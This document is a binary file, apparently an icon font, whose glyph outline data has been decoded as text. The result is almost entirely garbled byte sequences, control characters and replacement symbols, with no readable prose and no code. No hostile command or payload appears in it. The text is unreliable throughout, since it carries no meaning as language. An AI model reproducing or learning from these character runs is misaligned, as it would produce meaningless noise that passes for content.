�
!
!	#&���@%O$#"'#"&'<75?>7.54>202#&'&'#"'3267>54'`/Q0'

$/Q`Q�$

'D2(J" &�F;"
	

4#;""�4
		
!<"5���|��64&"24&"264&"26##"/+"&/&'#"'&547>7&/"&=463767&'&547>3267676;276322#1"&'*##0'"547&'&=4767&543>12:3673225#1"&'*##0'"547&'&=4767&543>12:367322�&4&&4�`&

.	
$&&	.	
$&�%

%%


%%

%%


%�4&&4&@






\/	
&!

/	
&"�$$	�$$	���`G64&"&#"2654'32#".'#"/#"&54>327.54632�(
(
�
7

�,/)30L()3!Y	�(
(
�	7

�!3)(L03)/,Y
���`#'.>64&#"26546326"&462!5!$4&"235#!=##%#!"&5463!2�
<&4&&4���� 8P88P�`` ����
��

�
�
5%%5&� HO99O8 P"  ��

@
���`#%7#546;5#"#3357+"&=46;2G1,& !!Ae*�**�*�7
	7$#!7��~�**�**���`0@%67&#".'"'#"'#"'32>54567+"&=46;2@ 9
%%+2"J*�**�*�
	&*@�**�**���`/7#57#5#57#4&#!"3!26#!"&5463!2�@�@�@�@`�p� �p��``���@��`���0��3��0P��$"&=!"/&4?62!5462�@
�
@@

@�@
  
@@
  
@����+32"/&46;#"&4?62�
  
@@
  
@@6
�

@@

@@�`*%#!"&54?>3!2'#"<=46;232�T'��	
T'V�3T!P!�!�ddN(c�!!!�`%#!"&=46;232�!��!!P!�!�!!�!!!���@;6"&462"&462732#!"&54>5'#"&46;2!2��3���

�
	,3	
@,

�	


�

	
� %K%+".4=#"&54?62+327"/&546;5#"/&546;232@�0	PP
0�(�PP
0�(�0
(h
``
`0f``
`0(h


�%#"/&54?6327632�	�

�




	zz	

	�
	�

�
		zz		

�$#"/"/&54?632�	

zz

�	

�]	

yy


�		����`#3C%".=46;22>=46;2%+"&=46;2+"&=46;2�1XnX1
`


`
�
`	
`

`

`
� 2Q--Q2 

 



 

�`

`

`

`

���@%$#"'"&'46&?>7.54>32�<g=2A
'-$<R.=g�XI+,
A& <++���x7q.+"&=46;2#"&=*.'67;546326#"&=#"+"&=46;2>767>;54632�
88?AP



@PP@
88
@P-
0�P0	
,
0P�P0
0
0P����#37;?Os35#35#'35#35#'35#35#'35#35#'35#'54&+";2635#'35#35#754&+";267#!"&546;546;23546;232 HHXPPXHHXPPXHH�PP`PP�HH`PPX�HH`PP`HH`
��

 ` 
 HHHPPPH�HpH�HP�HH�PHHH0HH��

@
[[1#"#&/#"/&54?63217'&'4?67>X(( FA0?0A �(0X
0(�A0?0AF ((����!3%54&+";26574'&+";26'#!"&'&7>2008.�		��		�(00arr�`		���8	=CU?.54764&#"26546327##"'&547.'&47>3276327#7>7&'7�9&*�-
bi
$<&rC
		( Fp
&b86Z),2$0;@�
-<0�06#;Dt#9}!*0!;/--� !1%&'"&54726&4&#"2654632"&'&47>2�&9B\B9&!ete�-
�#v�v##v�v#�;.BB.;3==�
-L	:EF9		9FF9��`�1#!"&=463!2#.54>54'1`��P@$"$"( 
 
 , 
 
 ,�`N$4&#"327>7>327#"'.#"#".'4&4&54>54&5&54>7>2>?2@
+I9
#A.�F668%#%%0--,%



�
*"
B8O	5'	

!�P
J7=#;26'3'&#"64&#"32+#!"&=#"&=46;"&46327632#32�P	0	r1 
�
0
l
��
n!!  !!n-u00u�(((Ph

hP!.!))!.!���`-2".4654&+";26574'&+";26�hX44XhX43�008.`4XhX44XhX��00Y�����`5%/+"&=&/&6?'.?>546;276rB
 
BBBB
 
BBz'M

M'&&'M

M'&�`�%#!"&=463!2`
��

0
�0

0
``#%++"&=#"&=46;546;232`
h
0
h

h
0
h
�0
h

h
0
h

h��}]/7"/"/&4?'&46;26+"&=462762�
$SS$
p
�S$
p

$S�p
$SS$

�S$

p
$S���`/6+"&=4627627"/"/&4?'&46;2�S$
p	
$S�
$SS$
p
{S$

p
$S�p
$SS$

���p,$"&=#"#"'.5&5476;5462��
8'' 
)�8
���
@
(		G*2!e@
�
���`"%#"/&54?632546;27632�	�


	�




	J
 
J	

	�
	�		�
		J�

�J		

���P!%#"/+"&="/&54?632�	

J
 
J

�	�	�
	

I�

�I

	

�		�
��pS %#"/&4?#"&=46;'&4?632p	�


	

I�

�I

	

�	�	�		

I
 
J

����S %+#"/&54?63232�
�I

	

�		�


	

I�
� 
J		�	

�



I���b	"%4'32>7&#"$".4>2H�"(2$��")%?$H4GNG43GNG4�(!�$3/�$?%)POG44HNG44���` ,%"/&4?627624."2>".4>2%jJ%E$?J?$$?J?\4XhX43YhX�jJ%E?J?$$?J?$$�hX44XhX44���`#/;%"/"/&4?'&4?6276264."2>".4>2$""$""$""$""3$?J?$$?J?\4XhX43YhXr$""$""$""$""J?$$?J?$$�hX44XhX44���`/_%#"&=46;.'+"&=32+546;2>7++"&=.'#"&=46;>7546;232+

(
 
(

(
 
(]
$	;(
 
(;	$	
$	;(
 
(;	$
�
 
(

(
 
(

(K 
(;	$

$	;(
 
(;	$

$	;(
���`.:%54&+54&+";#";26'54&+";26".4>2Pp 00�4XhX43YhX((�(P(�((0hX44XhX44���`:F754&+";2674.#"32767632;265467>".4>2�00@)= !

0	`4XhX43YhX(00�&5
			
hX44XhX44���`#%4/&"'&"32?>".4>2A
f8
Z�?4XhX43YhX�e8Z�hX44XhX44���`+7%4/7654/&#"'&#"32?32?>".4>2--------a4XhX43YhXh--------shX44XhX44���`%54&+";2>".4>20
�

�
P4XhX43YhX� 

 

JhX44XhX44���`#/%54&+54&+"#";;26=32>".4>20
@
 
@

@
 
@
P4XhX43YhX� 
@

@
 
@

@
JhX44XhX44��s%"/&54?'&54?62	�				zz		�	�
�		


	zy


	

�	
��s'&4?62"��		�				zz				�		�				zy
		�B?62#!"&!"&=463!2�
���q��

`		����
@

@	��`&546546;2+"&=�
 

 
p��

��

����`+&546546546;2+"&=&=��
 

 
�p����

��

������`&546546&=���p��������`#!"&5463!2�
��	
`
P��

`

���`+"&546;2+"&546;2�
�

�
�
�	
�
P��

`

��

`

��`a%&546Z��L��p����`6/&'/&4?667����]����������`+6/&'/&'+"&546;26?667���
 	
 
�]������

`

�����`6/&'+"&546;267��
 	
 
]����

`

�����C$"&=#32"/&46;5#"/&4?6235#"&4?62+35462�@
` 
@@
 `
@@
` 
@@
 `
@�@
 `

@@
` 
@@
 `
@@
` 
@�`/D%+"&=46;2#"#&+";26=4?6327"/&4?62762`*�**�

��:�lB��P**�*
�@u�lB���*Y%+"&=46;2+";26=476767#"'&=#""#"'.54>;547632`*�**@�;`
(Q
		".(
`�A**�*	�6w`
0!"T!	0
`�`9>H?'36&?+"&=46;2'&+";26=4?6'#5%'762�&�XX*�**�

��
H�HH&X&�XX�0**�*
� �H�H�H&p-74'4.'&"267"&547>7>2��KjK

`	

	
-5KK5$!)"77") ���`7"6".4>2�%?$$?�4XhX43YhX$?J?$�hX44XhX44��`64&"27"&/&5462�&4&&4f[\KjK�4&&4&@�

�5KK��{[%37'374#"32?6'#5%'7632[; ���h�h{	*h*
;	; ���2h�h�
	*h)

:
���`."&462!57?!"3!2654&#!"&5463!2�((��P(���p�%�p�((�p0P(�H��0��0�@#"/+"&=46;27632�
e*�**�*e
(��
e***�**)d�`/?O6#"&=4632#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2XHHj�P������P��H�H~00]00]00]00�`/?O7#"/&4?632#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2`HH`�P������P���HH�00]00]00]00�`/?O_o7+"&=46;25+"&=46;25+"&=46;2#!"&=463!2+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!2@000000���P��00���P��P��P800]00]00�0000�00]00]00�`/?%#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2�
�`	
�

�`	
�

�`	
�

�`	
�
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2�
�`	
�

��

@

��

�

��

 
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!2'+"&=46;27#!"&=463!2'+"&=46;2�
�`	
�
`
�

�
@
��

`
`
�

�
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!2'#!"&=463!27#!"&=463!2'#!"&=463!2�
�`	
�
`
��	
@
@
��	
�
`
��	
 
0 	
 

Z 

 

Z 

 

Z 

 

���`g�;7;26?323&'.1&'*#"50"#"'&#"#&1=67676565'4'4#&#&#"#&'=&=!/&4?6!546/!pP

,

*&"	<x(	�	((		`!	&
Z%
			"JCJ��   ���`h�;7;26?323&'.1&'*#"0"#"'&#"#&1=67676565'&64&#&#&#"#&'=2"/&6;#"&?62+/!6J

"	
*$"	
�    `!	&SZ%
			0<kJ��	((		((	���`J727676?>5?5&'&#72327>1""#"'&/"

O
%
	


2
" 
"D

'"
		2M(;��``%e73267654'&'&#"'32654'&#"563676765'&'4'4'&'"/?3:302;2#'"� +	

*,-*
�
B^

,
!26$,C�!('� |@%
 		���`	Q722;&'&#567676?;3"'&#"#4?6764/#03"'�*(
�;F
3
	2!q	G�p% �
��x=!

94����!)62"&472#!"&=46;7>;2264&"�<**<*�&&��&&8

�

�\BB\B�*<**<�&�&&�&""��B\BB\���`<;5#535#"&=#4&"27++"&=#"&=46;546;232`���(
� 


*8
�
8
�
&
@``
(�


h(

(h�

&
@��@`2#"/#"'.546763#

	nn	

`��	jj	B���`Scs+"&'&74654&74>7>74&7465>74&5>7>74&74>7>26;2+";26?6';26?6&+";26?6&+"�
D�$

	�E	��K	�������
	
							
��	P���`54&"2#"/.=46;2#"&'7654/.#32p	{


	�


h
 
�	`	{

	v		�
 
8
 
�	p
	|		�	 
h

�


	|	v	

�


�
��{`4&"2#"/.=46;2p	{


	�


h
 
�	p
	|		�	 
h

�
�`#'+/37;?3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3#3'((' /`��`��`��`��`��`��`��`��`��`��`��`��`��`��`��```#/377#57#53#535#535#35##5#53#57#5##5335'#5!#5`   � �````�``@�  `  `  ` ��`�`  �    �`````����    �` `�  ��������R-Ik"/#"&=46;762#"&54>4.54632#"&54767>4&'&'&54632#"&547>767>4&'&'.'&54632�
SB	
BS
`				U*$



$j@4

	""	

4(��
S
`
S
{&!		LA	

).)

	-sa
	DLD	
 8-"/#"&=46;762#"&54>4.54632�
SB	
BS
`				(��
S
`
S
{&!		�8"/#"&=46;762�
SB	
BS
(��
S
`
S
�`K%#+"&=46;227654.">3546;2+"&="&/&54>2�."	,JTJ,	"."8LTL8"�)%�&A''A&�%)&F44F���`7+"&5&5462#".#"#"&=476763232>32Pp6& #0D
:/. 	

 
@
��<

�
%
�


 `7354&"+"&=46;546232P�&4&�
�

B\B
�0&&H�

�
0.BB.0�`/?O_o7+"&=46;25+"&=46;25+"&=46;2+"&=46;25+"&=46;25+"&=46;254&#!"3!26#!"&5463!2` ������ ��p ��pX==�==��������`$G%#"&'"&=46;23267676;27+"&4?&#"+"&=>32762zfE%D!
	
p
"-":
0
p
"%2":
2fE$F!
xCS 
p

# �p

#"!CS 
���`3+"'&?&#"3267672#".4>3276�
p
"%2/##/5"M+'G33G'%E!

@p


#"#/4/#"!$4GNG4 ���`'$#"'&=4764."2>".4>2(��($?J?$$?J?\4XhX43YhX�P	�	P3J?$$?J?$$�hX44XhX44�@
#%3&45'#0#337#!"&=4?>;2O6�6OP�
��	<�<�||0(x	
x�����`$0%++"&=#"&54?62&"2>4&".4>2000PP5J?$$?J?$$\4XhX43YhX�XXPP~$?J?$$?J?0hX44XhX44���`$0%"/&76;546;232&"2>4&".4>2PP0003J?$$?J?$$\4XhX43YhX�PPXX�$?J?$$?J?0hX44XhX44��%=$4&"264&"27#!"&=46;2?32'"/&76;546;232@


J


*
��

t"("t
Qpp
@
@
@
*






HP

P
""�
pp

p

p�@C%5'4&+";26+265'4&+"3#"'47>;";265'4&#32.<��D�h	U*U	h�PPr@@00�����` ,7+"&=46;546;24."2>".4>2�P8h$?J?$$?J?\4XhX43YhX�pX�J?$$?J?$$�hX44XhX44��@`#3!5#"&=#3&/&'#!"&546;2 h
��^N�
��

�
N
�
h`Nf�

P

N�A5%+5##"&=04577+"/#"/&6?62546;2`
`@`
��8���=07�x	``
xvv���31f.��``/;Cg7+"&=46;2+"&=46;2+"&=46;25#;2>3'&+"++"&=#"&=46;7>;232�@@ ���pP��M
P
MȐ��������

%��*	

	*���`n$4&"27##"/+"&/&'#"'&'&547>7&/"&=463767&'&547>3267676;276322&4&&4�.	$"8
$ 	..
%"8
$ 	.�4&&4&[7	
	#"
.

7$"
.

���`/?O7+"&=46;27+"&=46;27+"&=46;27+"&=46;27+"&546;2@00`00`00`00`0000PP<��\��|��p����)5%".546762>54&'.7>'"&=462�4GNG3(%#/4/#
%(��'G44G'.P6/##/6P��

�
���`0%+"&=46;24&"2#"/#".4>2�� B\BB\�
V-7$A//AHA/V�9\BB\BS
U/AHA//A$7-V���`#+D%++"&=#"&=46;546;2324&"2#"/#".4>28888 B\BB\�
V-7$A//AHA/V�88889\BB\BS
U/AHA//A$7-V��E%#$"/"/&4?'&4?62762D"JJ"JJ"JJ"JJ@"JJ"JJ"JJ"JJ�-$"/&4?62762��""["J�"��""["J�"�`/?O_7+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;25+"&=46;2�
P

P

P

P
@
�

�
��
P

P
@
�

�

�

�
H0

0
v0

0
�0

0
�0

0
�0

0
v0

0
	�`/?O_o�7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2+"&=46;2'+"&=46;2+"&=46;25+"&=46;2�
P

P

P

P
�
P

P
�
P

P
�
P

P
�
P

P
�
P

P
�
P

P

P

P
H0

0
v0

0
�0

0
�0

0
�0

0
�0

0
�0

0
�0

0
v0

0
�`/?7+"&=46;25+"&=46;2+"&=46;25+"&=46;2�
�

�

�

�
�
�

�

�

�
�`

`
�`

`
�`

`
�`

`
���`/?O_o���54&+";26=4&+";26=4&+";2654&+";2654&+";2654&+";26'54&+";2654&+";26=4&+";26=4&+";267#!"&5463!2`
 

 

 

 

 

 

�

�
�
 

 
`
 

 
`
�

�
`
 

 

 

 

 

 
 �p� 

 

f 

 

f 

 

��

�

& 

 

�� 

 

ƀ

�

Z 

 

f 

 

f 

 

.��P��``'%+"&54>322>32&"&462`$�%
!"!
P8P88P!##




�P88P8���x	+%7/77#"/#"&54?'&54?62Mj//jM^^r[
pp[~88~�J__Ji22�X}
;;}X
r

r���x"%#"/#"&54?'&54?62�[pp[~88~�X};;}X
r

r���`"/.54632>32��?9 		 8@9� �	#7>		>77:����@:J%5#1".'&'&'3!26=/!"312>767>7#!"&5463!2�	C((C	p��%04	

	40 ��p�	4!!4	�
*&)

)&$�����`!$4&"2#"/#".4>2 B\BB\�
V-7$A//AHA/V	�\BB\B`

U/AHA//A$7-V	���`+".4>325".4>32546?632��
�
H��
�;�
�@���`32+"&46;5'&54>3!2��P

�

P�	
`
	R	��



��	���r57.'&7?&'73276'&..'&7>�-;TF$"!2$
/�F<)&
)$/:2=�8#0!��	L!
B"H	D( ���x
%37&+327654'654'&+327!"3!2654&#532�
��� ,,  ,,�X`
+%�54
.�, �� ,,  ,���	,&���o#/7?"3267>54&"&5467'2..'>32$264&"62"&4@]'0P8+E?V_�&5
D.)%4"1�N8?)/C4��''$nV?F*8P0'^?D_��5&*.D
�4$177N'4C/)>�&&,�4*P[_72>54&+32>52.'32+#53:7"3:>5##*.5326.#4>327#3�	,"���Q
LLLQ
�,
. 
!1

�+[
rr�
%(��$$$PzM%� !'!	$%W
�$���qD3>'.7#54'&'&'&#"#54'&'&'&#"#5363267632�5W3	��u
y�)	
	)
	)'

	
07LW&M\|LE[co
	joj�
	=�	'6K?'4"27'4"2?'4"2?'&"2?'4"0123021264&#".#".

.

.. PP"":(S  1KK10cc0/dd//ss

!.!&4����o
$7&7&#"73654&53>7!�4<�B�),�N0��4.k"&2V��Wb:�<	
�j�!#2[�:$�*
q8-���a#=L+"+;26?>;2654&'"&7>;2654&'.+";26?>;2+"&z	bX
	0
Xb��
Xb1 dD	0)
,'	:H
FGG:"�FG:"	���=

���a"2BJ%&76'&"7476'&32654&.>74&#"3226'.'&>>&M
4"
T*ApHSrplRHlR�O7		*=	
	>&
�,%+�$!*C:5FU.�+G;
+G�8O

	<+			&S	 $	 $���m>727&7654&'�Jb17C"P.j.PD71bJm
sLK:oD}N22�Dp:KLs
���xEMi%.'.54763232654.#"#"&'&'.#"32>54&6"264"'#"&547&54632632
		



		!�~~�~�

-A%
	.@%�	


		
�~�~~��C/&
B/

&���xe%654&#"&#"32732654#"'.54632327654'&'&'&'.5467632#"'&'&'&#"�sR!/CsQ/CY#+

!'


(rTvE0 TvE0	(%



		 #
		
,���T)74676332?+"?#545&'";26=}+�^h=?P�+�^h=?� 8�EC�P|_ 8�EC�4���j>MR4.'#'&'&"+&32612&76737&32>..#"'&632'732�\
(4	V
*&	!H!*�NA $	$h	3		; 1	.CVC=�'�CN���l7"/#"/75'7'7'��XMGG4��4��WO~N�ONlPIR��;;#UU#PGRPBS?�BP?���a!19%"&547#3!26=#7!"362354&+"&=46;24&"2TD`DO$$O��$b#x#b$  Z*<**<�0DD0�$$��$A11A$K!�<**<*���n"2f%&"'676&%.>77>&676&7327332654'6776'&'454'414'."0}
	)2A!F�2��
"

M;$�
6-+	m�

,\

1F

:8E$�M!"?)
U��				���x*:B"6>54'&.6766'..6767..676&327&9�~56O2N+2gKo	yU"*v3
9�10�.5�9	�.08w~YQ=6-']6Y�.	30
-!�"3���f
%5="6>54'&&766'..6767..676&327&2�s11H^-'.^
EfoM$
'l.5x-,�+
1�4�)-3esRJ81LU2R�*/5&

�/���x&"264"&4632&7>=29�~~�~�3H33$

'
w~�~~�M%33J32		A
���O%676'&'&'.6765&#"2654e)
>L >$!Hee�e�#/�06<
dg�ggH���x="264"&/.#"327#"&546323254/&5432&#"9�~~�~�	#$	#/)"w~�~~��	
 $!
%!$"�87#"&546323254/&546327&#"#"/.#"327�*,==kD!%3R(4<##6E120HE/, f-$+)	4+/G:
A"(5	B34(G:9@���x$5"264""&=326=462'54"&=726=39�~~�~�
)'	*e)	'w~�~~�'GGL���K-7754&""&=#26=462"&='26=�.;R;M;S:{
.:S;�*::*�

;;*::*�

Q;

<<*::*;���x"*2:G707&''67&#"6327&'7&'3267&#"6"264"&462'632&'�,.`!
	`
2&
&Q	/�~~�~�X==X=T	
�
!,Qv"?* $�~�~~��=X==XA	���o&.<HN7&'67&''>.##&#">"&462'327&'076&'67&�"%4Ll\Y-2^F�2B#/
�yy�y�20<$!=>'2
@4�7.A)$C3!�3',/8"��y�yy�8
%@FF

>0%KC;+K���x*"264#53'"&462#54#"#54'336329�~~�~��++



�+,&w~�~~���



�NQ_���g
%#"&5462374'33>32#54#"#r)XV3K+-7W+ W<����'2'=;��< ����x$"264#".=#5>733#3279�~~�~�
11	w~�~~��
I5 6

b��^o#"'.=#5>733#327]-":aa
�;) hAi$���x3"264.'&>7&6>&'.&7>769�~~�~�

	
(!".%9*w~�~~��	;
($
.#&
$, +"!(@1���27.>7&4>>&'.&7>76'.�	
 
/	OC)
B[;Ip	H0X:I *9$5-%'..#/FK#F)
X>V	CA2^<���xFR_7&#"#327>"264#"+".4>3.="#"'&54>;#7##5#53533"#7>'4&�			
i�~~�~�


4	W""""��
�~�~~��



	
 P""""0
���f2AR^323#";2327654.'&47654&'676=#"&'&767232'#"&'&7676325##33535-!!.)%5#g$�$,$�+CC+C3
$%=!
,
(� �0iCC+CC+���a"!";5#53546;#"3#32654&p���//-!*&
33Ia���<#0D<�!���x"264#"3##5#53546;9�~~�~� (('"" w~�~~�!dd!p��Pj#"3##5#53546;P@
PPLDD5'@$
.B��B'*;���x4"264#"'327.'327.=&547&5463267679�~~�~�B7#	!6


	w~�~~�2.J


*
���H/67&#".'&'#"'3#"'32>5456�
%#14[&',.;

;G8];  
1#
	/'-
.!%&+FT+���x*"264&'.'&'6763276&6769�~~�~t?#
		!
w~�~~�0*K

_**&"���P*%.'.'&"1'>763276&676�2=2#8@
' !	62" �-\E.
�	4#!1,'J#*:���x"264"&462"&4629�~~�~�%%Y%%w~�~~��&&&&F��6"&462"&462�I44I3�I33I4F5J55J55J55J���x#+M71"&"32654'."&462"&462"264*#".547&6762>?�
&&&&#$			?			&�~~�~�
&

�9~�~~��	!"	"!	���O.MU$"26476&'&".#323232>54#".547>321212>&"2643I(>J4!"%!%"�()	..
)(X�!!�C*C%2!5""5!2�" 		 "~!!���j"2>4. �J00J�J00j0J�J00J�J0=����#,8%676&/7'&/77676'/0?'7'70652-"0\7S6]0#B

+7�9

+/8
+o)CS���S(�
,
atc
-la
,���x&.%'5'7;?51'57'757&"264"&462m+�:377q4Bcc" 
&&*�~~�~��gg�g�57=7/<D('(
0%�~�~~���g�gg����x"&.6%#54&+;;26=4&#"#53#536"264"&4628/v/u|#^:^^
�~~�~��gg�g�/�/�X�#���~�~~���g�gg����x%-5"2>4.432&"'0#&#&?"264"&462�2%%2%d&	0&
43�~~�~��gg�g&).)&&).)&fMW
<[M$~�~~���g�gg����x$9"26432767'#"&5#"&5476327&#"'>329�~~�~��E!"! �R1Ig�
#(;BN.Igw~�~~� 
-
&%T)2gI
$-%,gI���x735#35#6"264"&462�������~~�~��gg�g�%j%�~�~~���g�gg����x"*"#7#632#"'#32654&6"264"&462�%3*++-65%1>;'�~~�~��gg�g+(**&## '')+A23Af~�~~���g�gg����x"5"264#3#33535#"&545775#7#/#'>329�~~�~��n38858EP/Ig�/"79&"9GP/Igw~�~~�%1!
!11'/gIT-eSK,'.gI���x)D"264#3#3327'#"'&'3#"&5435#'676327&#"'>329�~~�~��88 		NnR1Ig�=
2!GN.Igw~�~~� )(
	1)2gI	)%
%,gI���x$A"264#"'335>7#"&54/&546327&'5#'>329�~~�~��m"$!PR1Ig�#
RN-Igw~�~~�1	
!!$)2gI		!!%%+gI���x#6254"#"335354&6"264"&462�<<JXB'�~~�~��gg�g�*XhhX�~�~~���g�gg����x&=>&.>'"&54327&#"3267'3"&54327&#"3267'6�|��|��eb�e�

&"!e

&"!x��|����b�eb� $	#"
$	#"
�n�6"264�((�((`n`�6"2646"264�))�))�((((n��6"2646"2646"264X))�((�))�((((((x��H�37#�g�gg�����0�%5!5!5P��Ll0HPHpp��P|###7PHPHp��Llp��P|%###PHPHp0L��l0�75!5!5pL��l0HPHp}��C]?6/&}
�

�
����#=�%6/&?����=
�

�
�#=�&?6&:���
�

�
�}��C]/&?6C
�

�
�����=7?6/&�VVGSWWM}jC�7&?6/�
XWMjVVG}jC�%6/&6-WWM�VVG�=%/&?6VVGSWWM�-"1"'&?'&762�2/\	TT50`	XX^[b�%.1&"?764[50`	XX�2/\	TT^Sb�%1"'&'&47676[50`	XX�2/\	TT�%"1276/76'&"2/\	TT50`	XX�8:7���gxFH�73'y�gF�xFH�%#G�g���8:':��g���o6264&""&46237'y�yy��^�^^��[VV��yy�y��^^�^yP3[[3���o264&"62"&4353'3��yy�y��^^�^yP3[[3.y�yy��^�^^��[VV���o"264"&462'##7#5�yy�y��^^�^yP3[[3ny�yy��^�^^��[VV���o$4&"2&462"75#55�y�yy��^�^^��[VVK�yy�y��^^�^yP3[[3C�4#37��4V|V�LtK%##5#7tV|V�����L��t=%#5##tV|V�����5}47535#5��V|V�C���K'37��JV�U�5�K%##5#7�V�U�����5���=%#7##�V�U�����5��}K7#'��JV�U�P��p]'?GO4&"2654&'5>"&4624"&4625>54&"2654.462""&462�--�--B&����Ϫ�������]'75>54&"2654.462""&462� ,  , CK�����
���sMU]em%54&+"'5>54&"+"2654&'54>;272654&'5;22654&"&462462""&462"&462�'&-" , #-&' , - , - , ��q,�531>  >13  3[  [3  ��>P��p]19AI4&"5>54&"2654'>7>7>$462""&4626"&462o-+--$���&"
\�"&���P��ps4<DL%"#".=;3264&#"#".=>54&";3264.2"&4&462""&462:JJJ-'&J#��9
W , 
3  �1 , �������f/&"276.'>76&/.767.�
��
^g'{?74 !�"&@
!
X
��
^�'{
G*+
)CD%���p'5C>76..642?64&"'32?6..32?6c
5HA@(	+b`�#83"
#83"+
*:
�	+
+
	(@AH5
`b+�
"38#
"38�+
+*+	+P/�%#!"&7%6���h
S�
���j
775#%''3'\F-A-�}-A-�/DA-F/��-F/�-.���Q
75'3'76D-B,�B,�7DQ,B,D7��D6�,BYg#%'&?654&'6"2=�

�RCC�f�fy��Yg#76=4&#'2=4"��

�NCC�f�fc��$�76=4&#6=4&�		���

��o�oo�o$�%'&?654&/&?654&'��		�͡

��o�oo�oYg'#";26=4&E��&
�

�
C}="264!�\\�\=\�\\�iW="25&"25WQQ�QQ=���}%%'&?654&'v�

��w	
�
	v���i!%)-7'5'6&'&32?65'557757�ZZZZ���������ZZZZm$${$$�
DD
��HH��:�:�:�:�$${$$d��\�#"324&#"74&E^-	
C
y^CC
�	��P}	
C��QQf

���1j	#"74&yQQ
j��QQ}	�'%".#"&#";5#7#3264&U		?(1F"//"p/NN/V,??�%.D0	/A/UggU>V>�'%".#"&#"3!264&U		?(1F"//",??�%.D0	/A/>V>���=,%'.+3'37#"3!26?6#!"&/&63!2�G
.	<rr<	.	F
>
)
��

 
��[__[	�S	

	S&"		"


,���T
#"3!26=+"&=3#3T�Y	�	�--S���@		pY���T$%'##"#'&+7#3!26?6&'#5##�G,LO�OL,G	n	dJVItQ0;22;0	E

E	�ssm���T$3353'##"#'&+7#3!26?6&�tIVJ\G,LO�OL,G	n	Smss�0;22;0	E

E	5���x,72>57"7'&+"26=4&'##676;2L<B<7��	*	*9c�c9C$&)./����"%%"+29���T7G4&'#!"!'#"34&''!53!2>7>76<.+"&'=3353|��8C��j��	8	q
�
t

Y

Y
$$

�

�
w
,##���T%!"3!26?6&'.+"/&+"!��j	j		�
I	{���1


	:C��}j'#";2654&'&76&'.67653P��C
'%
j��:�'u
�+�='*54&#!"3#3#3#3!26=#535#535#55��l------�-----�p--,----,--��C���i (%'.546;7!"3!26=4&!57?�.
��0"P`8\��

D

 ��)>:K �p
�G"DD(�

��&aM;H�=3!26=4&#!"!5f�������������&%/.?6?6&%7'?>/��
�HQ�
B�k�A���W"��-m6��*
0�W/�/Z*-
~%C��}j#";2654&#3P����j��:��:C��}j#";2654&3##535#53P��༼�����j��:^'�'1(C��}j735#7#";2654&#3#3#3�}}�����1~~~~�(���:��:1'�'C0}#%!"3!264&%!264&#!"!"3!264&f��





��


��


��





�



-



�



Yg'#/#";2=43#";2=4#";2=43#";2=4�)##)$y)$$)#�)##)$y)$$)#&#)$$)##)$$)#�$)##)$$)##)$0�+77#";264&#";264&%#54"#";2=324%#";264&��	

	�	

	�	

	�	


M,JJ,M
�݇	

	�	

�



Y



YM

M,M

M,Z



C0}#/;G7#";264&'#";264&'#";264&3264&+"#";264&#";264&p


	

	


	

	


	

Q�


�


��


�


�


�


]



Y



Z



-



-



Y



�9
#553'#3:�ZZ�Z��,LH)~M-?(4�73354&+5l�?�ZZ�l~-MG
���X"#7#>32#"'3264&7'5�Jk7SR@P79QQ9-$1?Lll\D:XiJ\\7NQrQ"'l�lUiD:]�'%#3!537'#"3!26=4&}UC��^ZZp:�?^^1QP1���'753'3;'754&+3#7p-ON-�9��9z-ONXuYY�>�>uYY,{'737'#5#Z�ll�?]CbcD���'%#553!!26=4&f�__��5�1PQ1^>����_'7%37'#"+32>7>6767&+32#"';7'R^^3,! //3, !�
4=//'(&5@^^�-QP5(?)
'0>�'
46PQ
���X"#7#>32#"'3264&�Jk7SR@P79QQ9-$1?LllXiJ\\7NQrQ"'l�l
���X23'3.#"327#"&46�Jk7SR@P79QQ9-$1?LllXiJ\\7NQrQ"'l�l(���X7&6767''7767>'7|'' ->-53'|a3'' ->-53'A)q' /-5�6(�؂4)q' /-5�6(
���T&"3!26'#535#53���	�	�2222^��-"����o<>&#"&5>;7#5676767654'&#"#5676323�wz�w�<
0
2$oz�wz��

�		
		
.#^��bj#-&#"34632;25676?6765"2>&bM:,0J	(
: �28I' +	

�))���o'>&'2#"746"?6#"'>323273�wz�w�#
51oz�wz�1

��/D+Gx��H�#2#"&546"?6#"'>323267$ A-%
)X$	
&Q�"#�@Or	#+Hx'(���x"264'4632&"'79�~~�~c��`D:.�%0t:.�%`w~�~~�tD`%�.:0%�.:D`���=#";26=4&''7'77��
��
�R99!::!99!::=����::!99!::!99^b"%#54"#";2=324T^,^^,^�^^,^^,^�b�%#";24T���,,#���]"264''7'77.�nn�n�D&EE&DD&EE&\n�nn�NE&DD&EE&DD&#���]"264#5#53533.�nn�n�.ZZ.Z\n�nn�eZZ.ZZ.#���]"264#5.�nn�nK�\n�nn�7..,���T!"3!2654&''7'77f��TEE&DD&EE&DDS����DD&EE&DD&EE,���T!"3!2654&##5#53533f��)Z,ZZ,ZS���ZZ,ZZ,���T!"3!2654&#53f��)��S���,v+J%'764&"'&"2?264A==;;==;;YGGDDGGDDJu<7"/&>7>0�	P4��
i
F�����j#"353#5#;2654&7'#3}�,��,��ZZ��jCC��--:��XW6C���j7#3354&+";26=#7'#3���,��,�Z��:CC��-eW6C6C��}j%%#54&"35462#";2?>=4&b(.X.-*�	
	�	
�61661	?
�				�	C��}T%%#54&"#";2?>=4&'462#b(.X.,	
	�	
�*Z�1661
�				�	((���O/&/&3!4&�h
2
G
!
g�K�	/	j		�X,���j#"34&#"354&#"354&}1Y
�1Z
�1Y
j��}	���	
�pp

#���O37+32654&�A\�/
	�	kGOn^O\A��	
F_oNHj���a177'&'&/32?64.'6?6.'&327,�dvp�mpfn��$	Z[$ce]F�
�F��
�'#354&;5#326=#'35#"����zu���	ഇu&pZ	
�pp
	Z�Zp
����/&"2654.%&"2654.2654.'&"Y$+<+$$+<+$�$+<+$~'=1**1=''=1**1=�'=1**1='g��Y� %54&+"2654&"&546753
	L"GdG"7@,-��	
